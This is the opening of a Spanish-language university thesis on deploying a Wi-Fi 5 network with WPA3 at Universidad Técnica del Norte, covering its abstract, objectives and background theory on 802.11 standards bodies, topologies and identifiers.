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RESUMEN

El presente proyecto trata sobre el disefio e implementacion de una red inaldmbrica
Wi-Fi5 con el protocolo de autenticacion WPA3 en la Facultad de Ingenieria en Ciencias
Aplicadas, la eleccion de 802.11ac como estandar es para proporcionar una mayor velocidad
y capacidades de transmision en diferentes anchos de banda que permite el protocolo
respondiendo asi a las demandas crecientes de conectividad en entornos académicos, este
estudio servira para lograr establecer este protocolo en toda Universidad Técnica del Norte y
demostrar la fortaleza de la integridad y privacidad que brinda WPA3 en las redes
inalambricas respecto a su antecesor, siendo que se tiene una capa extra de proteccion frente a

ataques cibernéticos y vulnerabilidades existentes.

Una vez llevado a cabo la etapa de disefio e implementacion de la red Wi-Fi5 con
WPAZ3, se llevara a cabo un exhaustivo analisis de vulnerabilidades en el campus
universitario teniendo como principal objetivo identificar los posibles puntos débiles de la red
inalambrica evaluando la resistencia existente ante ataques potenciales, se examinan
escenarios de ataques, como suplantacion de identidad, ataques de fuerza bruta y posibles
filtraciones de datos, explorando asi areas de mejora en la configuracion o actualizacion en
las politicas de seguridad actuales implementadas, garantizando asi la integridad y

disponibilidad de los servicios en la comunidad universitaria.

WPAZ3 introduce el modo de autenticacion SAE, también conocido como Dragonfly,
que utiliza criptografia de curva eliptica para garantizar que las contrasefias permanezcan
confidenciales incluso durante el proceso de autenticacion. WPA3 refuerza la seguridad en
las redes abiertas o publicas mediante el uso de cifrado individualizado, dado que cada
dispositivo tiene su propio cifrado unico evitando que los datos sean interceptados por otros
usuarios en la misma red. Por consiguiente, con los resultados obtenidos a traves de las

diferentes pruebas de ataques realizados es concluyente que WPA3 es inmune al 98% de los
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posibles ataques o vulnerabilidades encontradas en WPA2. Dado que el protocolo de
autenticacion WPAS3 representa un gran avance en autenticacion y cifrado respecto a su

predecesor.
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ABSTRACT

The present project deals with the design and implementation of a Wi-Fi 5 wireless
network with the WPA3 authentication protocol at the Faculty of Applied Science
Engineering. The choice of the 802.11ac standard aims to provide higher speed and
transmission capabilities across different bandwidths, thereby meeting the growing demands
for connectivity in academic environments. This study will serve to establish this protocol
throughout the Technical University of the North and demonstrate the strength of integrity
and privacy that WPA3 provides in wireless networks compared to its predecessor. With an

extra layer of protection against cyberattacks and existing vulnerabilities.

Once the design and implementation stage of the Wi-Fi 5 network with WPA3 is
completed, an exhaustive vulnerability analysis will be conducted on the university campus.
The primary objective is to identify potential weak points in the wireless network by
evaluating its existing resistance against potential attacks. Various attack scenarios will be
examined, including identity spoofing, brute-force attacks, and potential data leaks. This
exploration aims to identify areas for improvement in the current security configuration or

policies, ensuring the integrity and availability of services within the university community.

WPAZ introduces the SAE authentication mode, also known as Dragonfly, which
utilizes elliptic curve cryptography to ensure that passwords remain confidential even during
the authentication process. WPA3 enhances security in open or public networks by using
individualized encryption, where each device has its unique encryption, preventing data
interception by other users on the same network. Consequently, the results obtained from
various conducted attack tests conclusively show that WPAS3 is immune to 98% of possible
attacks or vulnerabilities found in WPA2. As the WPA3 authentication protocol represents a

significant advancement in authentication and encryption compared to its predecessor.



1. CAPITULO 1: ANTECEDENTES

1.1. Problema

En la actualidad las redes han ido creciendo de manera exponencial lo que ha
provocado el incremento de mas usuarios y mas datos transportandose por los diferentes
medios de transporte alambricos e inalambricos, por lo que tener comunicacion hoy en dia se
ha vuelto indispensable tanto asi que las personas envian y reciben diariamente informacién
valiosa, ahora bien si nos enfocamos en el apartado inalambrico se puede decir que tenemos
mayor vulnerabilidad al envio y recepcion de datos debido a que esta informacion es
compartida por medio del aire lo que resulta que cualquier persona con conocimientos de
redes pueda interceptar estos datos, por lo que existen protocolos de seguridad y
autenticacion para evitar este problema.

Si hablamos de protocolos de autenticacion tenemos uno relativamente reciente y es el
protocolo WPA3. Este protocolo mejoro el anterior protocolo de autenticacion WPA2
utilizando los métodos de seguridad mas recientes en esa época, eliminando de esta forma
protocolos obsoletos instaurando el uso de marcos de gestion protegidos (PMF), fueron
disefiados tomando en cuenta dos tipos de redes, la proteccidn para redes domésticas y redes
empresariales, siendo las primeras que ofrecen, mayor proteccion de contrasefias y las
segundas ofrecen protocolos de mayor seguridad para las redes empresariales.

Hoy en dia este protocolo es uno de los mas compatibles con la tecnologia moderna
de los routers, siendo uno de los sistemas mas seguros para proteger redes inalambricas, si
bien es cierto todavia no todos los dispositivos han migrado a esta tecnologia se espera que
algun dia lo lleguen a normalizar en todos los dispositivos, ya que presenta mejoras pasando a
usar claves de 192 bits dejando a tras a los 128 bits de WPAZ2, consiguiendo mayor seguridad

en nuestras redes inaldmbricas.



Si bien en este protocolo se han logrado encontrar vulnerabilidades el proyecto
pretende analizar estas vulnerabilidades después de haberla implementado en algun campus
universitario y asi analizar todo el dafio que puede causar tanto a los individuos de un hogar
como a las personas de una empresa que pueden estar utilizando este protocolo mediante los
ataques y el robo de informacion que suceda en este proceso, ademas de las posibles
soluciones a estas vulnerabilidades.

En resumen este protocolo se planteaba para ser un protocolo de alta confiabilidad
pero con las vulnerabilidades encontradas se deja ver que quiza es un protocolo con una etapa
temprana en su implementacion aungue el anterior protocolo ya llevaba 15 afios en ejecucion
por lo que se preveia que con llaves de 128 bits seria dificil acceder a las contrasefias pero
cada vez se estaba mas cerca de conseguir romper esta seguridad gracias a la tecnologia

actual por lo que se vieron obligados a introducir este nuevo protocolo de seguridad.

1.2.  Objetivos
1.2.1. Objetivo General
Disefiar e implementar una red inalambrica Wi-Fi 5 con el protocolo de autenticacion
WPA3 en un entorno universitario y realizar un estudio acerca de las diferentes
vulnerabilidades existentes en dicho protocolo de autenticacidn con respecto a su antecesor.
1.2.2. Obijetivos Especificos
e Investigar el estado del arte acerca del actual protocolo de autenticacion WPA3
estableciendo una fundamentacidn teorica, asi como sus posibles vulnerabilidades.
e Simular un entorno de red en el cual se tenga el protocolo WPAZ2 con sus
vulnerabilidades y dar paso a posibles soluciones.
e Disefiar una red inalambrica Wi-Fi 5 con el protocolo de autenticacion WPAS3 sobre la

red de la Universidad Técnica del Norte con un mecanismo de seguridad extra.



e Realizar las pruebas pertinentes de conectividad y el funcionamiento del protocolo

WPAS3.

1.3.  Alcance

En el proyecto se tiene como alcance realizar el disefio e implementacion de una red
inalambrica Wi-Fi 5 con el protocolo de autenticacion WPA3 en un entorno universitario en
el que se planea realizar un analisis a profundidad de las diferentes vulnerabilidades que se
pueda tener con el protocolo de autenticacion y asi detallar las posibles soluciones e incluso
aumentar la seguridad con un servidor RADIUS. Para la realizacion de este proyecto se
utilizara el modelo PHVA, el cual implica 4 etapas o pasos los cuales son planear, hacer,
verificar y actuar. Para realizar el proceso se lo realiza de manera lineal y la finalizacion de
un ciclo precede el inicio del siguiente.

Para el proceso de planear lo primero que se realizard es una investigacion tedrica con
fuentes universitarias tanto del pais como fuera de él, para lograr encontrar bases lo
suficientemente solidas para ir determinando las posibles causas y soluciones de las
vulnerabilidades encontradas en el protocolo de seguridad WPAZ2, ademas de realizar un
analisis comparativo con el nuevo protocolo y determinar si es necesario pasar al actual
protocolo o si se necesita mantener el protocolo de autenticacion WPA2 debido a que éste
altimo presenta un fuerte nivel de seguridad.

Para la etapa de hacer se realizard una simulacion de la red donde se plantea armar un
posible escenario de red de algun campus universitario, realizando las configuraciones
necesarias, efectuar un ataque de fuerza bruta a los dispositivos que tengan implementados el
protocolo WPA3 y de esta manera acceder a los dispositivos con este protocolo
implementado, verificando asi las vulnerabilidades de este protocolo de autenticacion

descifrando las contrasefias de una manera facil.



Para la etapa de verificar se analizara el funcionamiento realizando un disefio de una
red inalambrica Wi-Fi 5y levantar el protocolo de autenticacion WPA3 en un campus
universitario y mediante un mecanismo de autenticacion extra se logré erradicar los
problemas que presenta este protocolo, se utilizaran a su vez equipos que tengan la
compatibilidad con el protocolo mencionado para realizar las pruebas que sean necesarias en
caso de ser posible seran realizadas en un entorno grande como en alguna facultad de la
universidad o en caso de no lograrse se lo realizara en un entorno de hogar y asi tener éxito
en el analisis a profundidad del protocolo de seguridad.

Finalmente, para la Gltima etapa de actuar ya sera la implementacion del proyecto en
un entorno universitario se dara dependiendo de las diferentes pruebas realizadas en el
transcurso del proyecto y del éxito de cada una de ellas, logrando establecer una
autenticacion mas segura debido a que las vulnerabilidades encontradas en WPA3 permitia a

las personas acceder a redes Wi-Fi sin la necesidad de contrasefias.

1.4.  Justificacion

En los Gltimos afios las redes inalambricas (WLAN, Wireless Local Area Network)
han ido desarrollandose a un paso acelerado lo que ha generado una gran aceptacion por parte
de los usuarios y popularidad en mercados verticales tales como escuelas, colegios,
hospitales, fabricas, tiendas, todo tipo de negocios, universidades, practicamente en todo
lugar de aglomeracion de personas. Estas redes inalambricas permiten a los usuarios acceder
a informacidn y recursos en tiempo real sin necesidad de estar fisicamente en un lugar
establecido ofreciendo mayor movilidad y ademas se tiene una instalacién mas sencilla que el
método cableado (Garcia & Sanchez, 2021). Esta claro que los objetivos méas importantes
para las empresas es ofrecer una opcion inaldmbrica inteligente, con acceso seguro y estable a
todos los recursos de la red, por lo que protocolos de autenticacion han ido emergiendo y

actualizandose cada dia mas para lograr cumplir este objetivo.



Si bien es cierto que los sistemas basados en Wi-Fi han crecido lo suficiente en estos
afios desde su comienzo, las redes inalambricas siempre han representado una amenaza
importante para la seguridad de los datos. Sin medidas de seguridad, muchas organizaciones
contribuyen a mejorar estas fallas de seguridad como los protocolos de autenticacion (Baray
& Kumar, 2021). Existen muchas vulnerabilidades en la seguridad como el descifrado de
contrasefias a través software que permiten esta operacion por lo que las contrasefias que se
consideran seguras ya no lo son tanto. ElI nuevo modelo introducido, el protocolo de
seguridad Wi-Fi WPAZ3, ya no es un modelo seguro. Los investigadores han descubierto una
nueva vulnerabilidad que permite a los piratas informaticos obtener las contrasefias de Wi-Fi
(Baray & Kumar, 2021).

El cifrado se mantiene en las comunicaciones modernas con la desventaja de que
cualquier persona en el rango de la sefial puede interceptar de manera “facil” los datos de los
usuarios, por lo que bien se desea ir analizando los protocolos de encriptacion actuales para ir
identificando las debilidades y cuéles pueden ser los mecanismos de mejora. Existen
mecanismos para ofrecer una mejor proteccion para las comunicaciones de red inalambrica,
como servidores RADIUS, certificados y nuevos enfoques de intercambio de WPAS3. Sin
embargo, algunas de estas soluciones no solo implican una sobrecarga de recursos, sino que
también se han descubierto vulnerabilidades en el WPA2 e incluso en los protocolos WPA3
mas nuevos (Moissinac et al., 2021). La certificacion WPAS3 tiene como objetivo proteger las
redes domésticas, mientras que ciertas redes Wi-Fi empresariales utilizan EAP-pwd para
autenticar a los usuarios. Ambos usan el apretén de manos de Dragonfly para proporcionar un
sigilo y resistencia a los ataques del diccionario (Vanhoef & Ronen, 2020).

Con la siguiente investigacion se pretende determinar las bases necesarias para la

implementacién del protocolo de autenticacion WPA3 en el campus universitario una vez



determinadas las vulnerabilidades y conseguir algin mecanismo extra de autenticacion para

tener una mayor seguridad.



2. CAPITULO 2: MARCO TEORICO

En este capitulo se inicia el proceso para la obtencion informacion necesaria para
llevar a cabo este proyecto. Para lograr conseguir un disefio, implementacion eficiente y
confiable se adopta la metodologia PHVA, la que hace un enfoque ciclico que facilita la
optimizacion y mejora continua del sistema. La primera fase de planificar va de la mano con
el primer capitulo en el que se establecen los objetivos necesarios, se identifican los
problemas y se elabora un plan para abordarlos, es por esto por lo que se presenta un marco
teorico detallado que sienta las bases conceptuales para comprender el protocolo 802.11ac,
asi como las caracteristicas que diferencian al protocolo de seguridad WPAS3. Este sélido
fundamento tedrico va a permitir abordar los desafios y consideraciones practicas de manera

integral y estructurada.

2.1.  Organismos de Normalizacion

Existen diferentes organizaciones las cuales son encargadas para la regularizacion o
administracion de los diferentes aspectos que existen en las redes inalambricas tales como las
frecuencias de operacion, niveles de potencia, métodos de transmisidn, estas organizaciones
trabajan juntas para mejorar la experiencia de los usuarios, también se debe tener una
coexistencia entre los equipos inalambricos mediante la compatibilidad en la red, también son
encargados de realizar las pruebas en los equipos para que se cumplan con los estandares para

su distribucién (Coleman & Westcott, 2021).

2.1.1. Comisién Federal de Comunicaciones (FCC)

La Comision Federal de Comunicaciones es la encargada de regular las
comunicaciones interestatales e internacionales por radio, television, cable, satélite y cable en
los 50 estados, el Distrito de Columbia y los territorios de EE. UU. La comision es la agencia

federal responsable de implementar y a la vez hacer cumplir las leyes y regulaciones de



comunicaciones de los Estados Unidos como una agencia estatal independiente de EE. UU.

supervisada por el Congreso (FCC, 2023).

2.1.2. Union Internacional de Telecomunicaciones-Radiocomunicaciones

El Sector de Radiocomunicaciones de la UIT (ITU-R) es el encargado de realizar
estudios técnicos desempefiando un papel fundamental en la gestion mundial del espectro de
frecuencias radioeléctricas, las orbitas de los satélites y recursos naturales los cuales son
limitados dado que su demanda es cada vez mayor por parte de un nimero de servicios, como
servicios fijos, mdviles, radiodifusion, investigacion espacial, telecomunicaciones de
emergencia, meteorologia, sistemas de posicionamiento global, vigilancia ambiental y
servicios de comunicacidn, que garantizan la seguridad de la vida en tierra, mar y cielo,

incluso da respuestas a cuestiones practicas y ofrece recomendaciones técnicas (ITU, 2023).

2.1.3. Instituto de Ingenieros Eléctricos y Electronicos (IEEE)

IEEE cuenta con una estructura organizativa dual que se complementa a nivel
regional y técnico. Administra una unidad organizativa separada (IEEE-USA) que
recomienda politicas e implementa programas destinados especificamente a beneficiar a
todos los involucrados. IEEE es mundialmente conocida como una asociacion profesional
técnica de ingenieros dedicada a la normalizacion y en el avance de la tecnologia en beneficio
de la humanidad y de los mismos profesionales promoviendo la creatividad, el desarrollo y la
integracion. IEEE no tiene fines de lucro y sus miembros altamente profesionales en las
nuevas tecnologias que actian como una fuente de inspiracion a la comunidad global
impulsando la innovacion y el progreso a través de conferencias, publicaciones, estandares

tecnoldgicos y actividades profesionales (IEEE, 2023).

2.1.4. Alianza Wi-Fi
Wi-Fi Alliance representa a la red mundial de empresas que proporcionan Wi-Fi, una

de las tecnologias de comunicacion mas apreciadas y utilizadas del mundo. La visién de Wi-



Fi Alliance es la conectividad global, buscando unir a todos y cada uno para lograr esto, Wi-
Fi Alliance lidera activamente la adopcion y evolucion global de Wi-Fi, guiando el camino a
través de su liderazgo intelectual y la promocion de la colaboracion en toda la industria. Este
trabajo incluye el desarrollo de tecnologias innovadoras, requisitos y programas de prueba
que ayudan a garantizar que Wi-Fi proporcione a los usuarios la interoperabilidad, la
seguridad y la confiabilidad que esperan. En esencia, Wi-Fi Alliance no solo se esfuerza por
avanzar en la tecnologia inalambrica, sino que ademas desempefia un papel crucial en la
creacion de un ecosistema globalmente conectado cumpliendo asi su compromiso de facilitar

la comunicacion y el acceso a la informacion mundial (Wi-Fi Alliance, 2023).

2.1.5. Organizacion Internaciones de Normalizacion (1SO)

La I1SO es una organizacién independiente que retnen a expertos de todo el mundo
para desarrollar normas internacionales compuestas por organismos nacionales de
normalizacion de 167 paises diferentes. Es el mayor desarrollador a nivel mundial de
estandares internacionales, pero mas alla de la tarea de guiar miles de documentos a través de
la redaccidn, revision, votacion y publicacion, facilitando de esta manera el comercio entre
paises. La ISO también trabaja para ayudar a aumentar la conciencia publica sobre los
estandares y la estandarizacién. La I1SO trabaja juntamente con IEC e ITU para crear el Dia
Mundial de la Normalizacién anual, en este dia se analiza como las normas abordan

los desafios que enfrenta la sociedad actual (ISO, 2023).

2.2. Redes Inalambricas

Una red inalambrica es un sistema de comunicacion de datos que posee un area de
cobertura para brindar una conexion inaldmbrica entre equipos, la transmision y recepcion de
datos se los realiza mediante ondas electromagnéticas teniendo como medio de transmision el
aire (Yépez, 2021). Existen diferentes tecnologias de transmision de espectro ensanchado y

los rangos de frecuencia que se utiliza en 802.11, los cuales seran descritos a continuacion.


https://www.iso.org/world-standards-day.html
https://www.iso.org/world-standards-day.html
http://www.worldstandardscooperation.org/
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2.2.1. Ancho de Banda vs Rendimiento

Toda comunicacion inalambrica es realizada en la banda de frecuencias, estas
frecuencias son el ancho de banda que se utiliza en los estandares inalambricos siendo éste
fundamental en el rendimiento de estos si bien existen otros factores como la modulacion, la
codificacion de datos, el cifrado de datos, etc. que determinan el rendimiento en una red. La
modulacion y la codificacion determinan tasas de datos o también conocidas como ancho de
banda de datos cosa muy diferente al ancho de banda de frecuencia. Al tener un dispositivo
que soporte 300 Mbps no quiere decir que va a tener un rendimiento de 300 Mbps, debido al
método de acceso conocido como CSMA/CA! el cual trata de que un solo dispositivo
transmita en un momento dado, por lo que el rendimiento real puede que sea un 50% para los
estandares 802.11a/b/g 0 un 60% o 70% de la velocidad para estandares 802.11n/ac

(Coleman & Westcott, 2021).

2.2.2. Banda Estrecha y Espectro Ensanchado

Los principales métodos de transmision de radiofrecuencia son la banda estrecha y el
espectro ensanchado, siendo su principal diferencia que en la banda estrecha para el
transporte de datos se utiliza menos ancho de banda caso contrario para el espectro
ensanchado el cual usa mas ancho de banda del que necesita para la transmision de datos. En
la Figura 1 podemos observar una comparacién entre estos métodos de transmision (Coleman

& Westcott, 2021).

! Acceso Muiltiple por Deteccion de Portadora y Prevencion de Colisiones es un protocolo de control de acceso a
redes de bajo nivel que permite que multiples estaciones utilicen un mismo medio de transmision.
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Figura 1

Comparacion entre banda estrecha y espectro ensanchado
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Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 203), por Coleman

y Westcott, 2021, SYBEX.

2.2.3. Dispositivos de 802.11

El componente principal en una red inalambrica definida por el estdndar 802.11 es la
tarjeta de radio o conocida como estacion (STA), este estandar define tres topologias de
conjunto de servicios en las que se definen como se puede utilizar la tarjeta de radio para la

comunicacion eficaz entre si (Coleman & Westcott, 2021).

2.2.3.1. Estacion Cliente

Cualquier tarjeta de radio que no es usado como punto de acceso es conocida como
estacion cliente, estas suelen ser utilizadas en celulares, portatiles, tabletas, etc. Pero también
en dispositivos estacionarios como computadoras de escritorio o dispositivos 10T2. Tanto las
estaciones clientes como la tarjeta de radio deben competir por el medio y al momento de que
la estacion cliente tiene una conexidn de capa 2 con el AP se conoce como asociadas

(Coleman & Westcott, 2021).

2 Internet of Things es la agrupacion e interconexién de dispositivos a través de una red.
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2.2.3.2. Punto de Acceso

Un Access Point (AP) es una estacion que funciona como un portal inalambrico que
se puede comunicar con otras estaciones clientes, en si tanto las estaciones clientes como los
AP tienen caracteristicas similares, siendo el AP que ofrece una funcionalidad de portal
permitiendo que las estaciones clientes asociadas puedan comunicarse entre el medio
inalambrico con otro medio fisico como puede ser Ethernet 802.3 (CISCO, 2018b), ademas
los AP utilizan Servicio de Sistema de Distribucion (DSS) para administrar las asociaciones
de los clientes manejando tablas de los clientes inalambricos conectados y de esta manera

poder dirigir el trafico (Coleman & Westcott, 2021).

2.2.3.3. Modos de Configuracion

Tanto los puntos de acceso como las estaciones clientes pueden ser configurados de
varias formas diferentes, la configuracion predeterminada que tiene un AP es permitirle
operar dentro de un Conjunto de Servicios Basicos (BSS) como un dispositivo de portal para
una infraestructura cableada, sin embargo, también se puede configurar el AP para que
trabaje en otros modos, en el caso de las estaciones clientes pueden ser configuradas para
participar como BSS o Conjunto de Servicios Basicos Independientes (IBSS) (Coleman &

Westcott, 2021).

e Modos de punto de acceso
Los AP tienen como propasito principal servir como un portal a un sistema de
distribucion, siendo que por defecto vienen configurados en modo raiz que permite al AP
transferir datos entre el Sistema de Distribucién (DS) y el medio inalambrico 802.11, no
todos los proveedores utilizan el término raiz algunos de ellos utilizan modo AP o0 modo de
acceso. Esta configuracion permite al AP operar como portal inalambrico de un BSS
(Coleman & Westcott, 2021). Existen otros modos de operacién que puede utilizar un APy

son los siguientes:
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Modo malla: la radio AP funciona como una radio de backhaul inalambrica para un
entorno de malla, esta radio de backhaul puede permitir el acceso del cliente, este modo

también es conocido como modo repetidor.

Modo sensor: la radio AP se convierte en radio sensor, permitiendo al AP que se
integre a una arquitectura de sistema de deteccion de intrusos inaldmbricos (WIDS). En este
modo se encuentra en una escucha continua mientras escanea multiples canales, este modo

también es conocido como modo monitor 0 modo escaner.

Modo puente: la radio AP se convierte en un puente inaldmbrico, se agrega
inteligencia a la capa MAC? adicional y se le da al AP la capacidad de aprender y mantener
tablas sobre las direcciones MAC (identificador Unico de 48 bits) desde el lado cableado de la

red.

Modo puente grupo de trabajo: la radio AP se convierte en un puente de grupo de

trabajo lo que proporciona un backhaul inalambrico para los clientes Ethernet conectados.

AP como modo cliente: la radio AP funciona como un dispositivo cliente que puede

asociarse con otros AP’s, utilizado muy a menudo para la solucidon de problemas.
b

2.2.4. Topologias de Redes Inalambricas
Dependiendo del alcance de la sefial o su area de aplicacion las redes inaldmbricas

pueden ser divididas en 4 grandes grupos como se ilustra en la Figura 2 y son:

e WWAN (Redes Inalambricas de Area Extendida)
e WMAN (Redes Inalambricas de Area Metropolitana)
e WLAN (Redes Inalambricas de Area Local)

e WPAN (Redes Inalambricas de Area Personal)

3 Define los procedimientos que hacen posible que los dispositivos compartan el uso del espectro radioeléctrico.
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Figura 2

Clasificacion de las redes inalambricas
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Nota. Tomado de Techpedia (p. 7), por Salazar J., 2018, Erasmus.

Este tipo de redes inalambricas también pueden ser clasificadas como redes de corto o
largo alcance, siendo las de corto alcance que operan en las bandas de frecuencia ISM* tanto
en la de 2,4 GHz como la de 5 GHz utilizadas en edificios 0 campus universitarios o incluso
en las redes entre computadores que necesitan cercania entre si, aqui vendrian incluidas las
redes WPAN y WLAN. Por otro lado, redes con areas metropolitanas que puedan brindar
algun tipo de servicio de conectividad inalambrica o en si en el caso de cobertura global

como las redes WWAN que son redes de largo alcance (Salazar, 2018).

2.2.4.1. Red de Area Local Inalambrica (WLAN)

Una WLAN utiliza una red troncal cableada con varios puntos de acceso inalambricos
para brindar recursos y de esta manera el servicio de red a usuarios finales ademas es un
sistema de comunicacion inaldmbrico flexible utilizada para distancias cortas utilizando
ondas de radio o infrarrojas. Este tipo de redes son utilizadas para proporcionar servicio

inalambrico en entornos de edificios 0 campus siendo la mas adaptable para redes de area

4 Industrial, Scientific and Medical son bandas de radio reservadas internacionalmente para el uso de energia de
radiofrecuencia para fines industriales, cientificos y médicos distintos de las telecomunicaciones.
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local como hogares o compafiias gracias tales como su nivel de area de cobertura y una

velocidad propicia definida en su estandar y enmiendas (Herrera, 2018).

Cada computador tiene un médem de radio y una antena mediante la cual se puede

comunicar con distintos dispositivos inalambricos, se puede tener dos modos de trabajo:

e Con presencia de AP: Toda la informacidn pasa a través de la estacion base, ilustrado
en la Figura 3 (a).
e Sin presencia de AP: Las computadoras se envian la informacion directamente entre

ellas conocida también como red ad hoc, ilustrado en la Figura 3 (b).

Figura 3

(a) Red inaldmbrica con un AP. (b) Red ad hoc
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Nota. Tomado de Modelo de optimizacion de rendimiento en redes 802.11ac utilizando

programacion Multi-Objetivo (p. 24), por Herrera H., 2018.

2.2.5. Sistema de Integracion (IS)

Este sistema puede ser caracterizado como un método de transferencia de formato de
trama en el que el portal debe ser un controlador WLAN, en la trama de datos en 802.11 la
carga Util es la informacion desde la capa de red hasta la capa aplicacién esto es conocido

como la MSDU®, al momento de tener la carga Gtil como destino una red cableada y al ser

® Unidad de Datos de Servicio MAC es la unidad de datos de servicio que se recibe de la subcapa LLC.
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esta red un medio fisico diferente, la trama de datos 802.11 debe transferirse a una trama
Ethernet 802.3 de manera correcta. Normalmente el servicio de integracion realiza el proceso
de transferencia de una trama 802.3 a una trama 802.11 que se modula y transmite por la

radio del AP (Coleman & Westcott, 2021).

2.2.6. Sistema de Distribucion (DS)

La capacidad del portal que poseen las estaciones es diferente tanto en los AP como
en las estaciones clientes y se la conoce como funcion de accesos al sistema de distribucion.
El estandar 802.11-2020 define un sistema de distribucion utilizado para la interconexion de
conjuntos de servicios basicos LAN integradas creando un conjunto de servicios extendidos
(ESS) (Coleman & Westcott, 2021). El sistema de distribucidn consta de dos componentes

principales:

Medio del sistema de distribucion (DSM): es un medio fisico légico que sirve para

interconectar puntos de acceso tal como Ethernet.

Servicio de sistema de distribucién (DSS): usado en los AP para administrar las
asociaciones, reasociaciones, desasociaciones de las estaciones clientes. En este servicio
también se utiliza direccionamiento de capa 2 del encabezado MAC 802.11 para enviar la

informacion MSDU hacia el servicio de informacion o a otra estacion inalambrica cliente.

Es posible conectar uno o varios puntos de acceso al mismo medio del sistema de
distribucion, las implementaciones 802.11 utilizan un punto de acceso como portal a la red
troncal 802.3 usado como medio del sistema de distribucion. Los AP se encuentran
conectados a una red Ethernet conmutada que suele tener la ventaja de suministrar energia
por medio de Power over Ethernet (PoE). En el caso de la Figura 4 el medio del sistema de

distribucion es casi siempre una red Ethernet (Coleman & Westcott, 2021).
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Figura 4

Red troncal Ethernet 802.3

AP #1 AP #£2

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 254), por Coleman

y Westcott, 2021, SYBEX.

2.3.  Conjunto de Servicios 802.11
802.11 define multiples topologias conocidas como un conjunto de servicios

definiendo la manera en la que las radios pueden conectarse entre si.

2.3.1. ldentificador de Conjunto de Servicios (SSID)

Es mejor conocido como el nombre ldgico que identifica una red inaldmbrica 802.11,
utilizado por los radios en el intercambio de tramas configurable en los AP y las estaciones
clientes. Puede tener hasta 32 caracteres entre letras mayusculas y mindsculas ilustrado en la
Figura 5, posee una caracteristica en la cual se puede ocultar el SSID para que de esta manera
usuarios no autorizados no tengan acceso a la red, siendo esta practica considerada a nivel de

seguridad inatil (Coleman & Westcott, 2021).

Figura 5
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Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 256), por Coleman

y Westcott, 2021, SYBEX.
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2.3.2. Conjunto de Servicios Béasicos (BSS)

El BSS es considerado como la topologia fundamental en una red inalambrica,
teniendo como componentes un AP con un 0 mas estaciones clientes, en la que las estaciones
clientes se unen al dominio inalambrico del AP y de esta manera se comunican a través del
AP como lo ilustra la Figura 6, estas estaciones tienen una conexion de capa 2 conocidas
como asociadas. El objetivo que tiene un BSS es lograr que los clientes inalambricos sean
capaces de comunicarse por medio del AP con los recursos de la red y acceder a la puerta de

enlace a Internet (Coleman & Westcott, 2021).

Figura 6

BSS
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Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 257), por Coleman

y Westcott, 2021, SYBEX.

En el caso de que las estaciones clientes requieran comunicarse entre ellas deberan
pasar primero por el AP, a excepcidn de los clientes que admitan en su configuracion del
enlace directo por tanel (TDLS) por lo que podran comunicarse entre si sin la necesidad de
pasar por un AP primero, pero esto no quiere decir que no sigan asociados al AP es méas

todavia siguen siendo parte del BSS (Coleman & Westcott, 2021).
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2.3.3. Area de Servicio Basico (BSA)

Es el area fisica de cobertura que puede proporcionar un AP en un BSS, tal como lo
ilustra la Figura 7 las estaciones clientes podran movilizarse en el area de cobertura del AP
teniendo comunicacién siempre y cuando la sefial percibida por la radio se mantenga en el

umbral del indicador de intensidad de la sefial recibida (RSSI) (Coleman & Westcott, 2021).

Figura7

BSA

L

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 258), por Coleman

y Westcott, 2021, SYBEX.

Un BSA depende de varios factores tales como la potencia de transmision del AP, la
ganancia de la antena, la sensibilidad de recepcién y el entorno fisico que por lo general es
cambiante, ya que al tener un BSA se deberia tener una circunferencia perfecta desde el AP
como area de cobertura, pero esto es tedrico debido a que un espacio real esto nunca sucede
debido a los ambientes interiores como exteriores por lo que se tendra un area de cobertura

totalmente desproporcionado (Coleman & Westcott, 2021).
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2.3.4. ldentificador de Conjunto de Servicios Basicos (BSSID)

El BSSID es una direccion MAC de 48 bits de la interfaz de red de un AP
basicamente es el identificador de capa 2 para cada BSS individual. Para el caso en el que
existan dos BSS cercanos con el SSID igual, cada estacion cliente deberd identificar el BSS
del otro, ambas estaciones clientes deberan tener configurado el mismo SSID con la misma
seguridad esto para que no exista ningun inconveniente. EI BSSID es fundamental para el
proceso de roaming, ademas es esencial para la identificacion del BSS debido a que el
identificador es unico. En la Figura 8 se puede observar que la direccion BSSID se encuentra
implicito en el encabezado MAC de las tramas 802.11 dentro de BSS (Coleman & Westcott,

2021).

Figura 8

BSSID

5 B02.11 MAC Header

, i@ Version: 0

>$ Type: %10 Dala

i@ Sublbype: %0000 Data Only
ri.' .4 Framé Contral Flags="-00000010

$ Duration: 213 Microseconds
i.-[W[F] Destination: 006022007467 -2A
[{[3 BSSID: 00:0C:85:62:02:10
?E"ﬂ Source: 00:0C:-85:62:D02:1D
i @ Seq Nurmnber: 1653

6 Frag Nurmbser: 0

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 259), por Coleman

y Westcott, 2021, SYBEX.

2.3.5. ldentificador Multiple de Conjunto de Servicios Basicos

En una sola interfaz de radio existe la posibilidad de crear varios BSSID esto
mediante subinterfaces las cuales no son nada mas que incrementos de la direccion MAC
original del AP utilizado, en la Figura 9 se puede verificar este estado donde las direcciones
MAC de las subinterfaces son direcciones derivadas de la direccion MAC original (Coleman

& Westcott, 2021).
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Figura 9

Incremento de direcciones BSSID

Mame MAC addr SSID  Chan(Width)
Wifi1 £413:2204:2160 48{20MHz)
W11 c413:2204:2064  green  48(20MHz)
Wili12  c413:0204:2085  blue  48(20MHz)
Wii13  c413:0204:2086  red  48(20MHz)

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 259), por Coleman

y Westcott, 2021, SYBEX.

Pero el motivo es por qué se necesitan mas subinterfaces del BSSID es debido a que
algunos proveedores de Wi-Fi permiten crear diferentes WLAN al mismo tiempo. En la
Figura 10 podemos verificar este caso en el que existen multiples WLAN dentro del area de

cobertura de un AP cada uno con su SSID y BSSID Unicos (Coleman & Westcott, 2021).

Figura 10

BSSIDs

SSID  BSSID
SSID  VLAN  Subaet RS
blue 201  192.168.10.024 e
green 202  192.168.20.0/24 green  C413:0204:2165
red 203 192.168.30.024 red  Cd13:6204:2066

i) T
Access Point o
radio MAC address: C413:0204:2180

-

ClientA
SS1D: blue
IP Address: 192.168.1025

= -
clats &

b Client C
IPAddress: 192.168.2040 UM ©

|P Address: 192.168.30.77

